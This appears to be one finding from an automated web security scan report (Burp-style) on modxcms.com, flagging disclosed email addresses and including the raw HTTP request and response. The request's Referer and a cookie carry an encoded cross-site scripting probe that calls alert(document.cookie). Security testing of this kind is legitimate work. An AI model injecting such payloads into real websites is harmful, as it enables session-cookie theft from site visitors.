Content-Type: text/html; charset=UTF-8
Content-Length: 23181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href="htt
...[SNIP]...

7. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /community/partners/hosting.html HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 200 OK
Date: Sat, 08 Jan 2011 02:44:23 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39789

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<a href="mailto:Sales@Site5.com">Sales@Site5.com</a>
...[SNIP]...
<a href="mailto:be@cloud.bg">be@cloud.bg</a>
...[SNIP]...
<a href="mailto:info@hostcolor.com">info@hostcolor.com</a>
...[SNIP]...
<a href="mailto:sales@onesmarthost.co.uk">sales@onesmarthost.co.uk</a>
...[SNIP]...
<a href="mailto:sales@siteground.com">sales@siteground.com</a>
...[SNIP]...
<a href="mailto:sales@maiahost.com">sales@maiahost.com</a>
...[SNIP]...
<a href="mailto:Sales@Site5.com">Sales@Site5.com</a>
...[SNIP]...
<a href="mailto:Sales@Site5.com">Sales@Site5.com</a>
...[SNIP]...
<a href="mailto:info@hostcolor.com">info@hostcolor.com</a>
...[SNIP]...

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Fri Jan 07 21:00:10 CST 2011.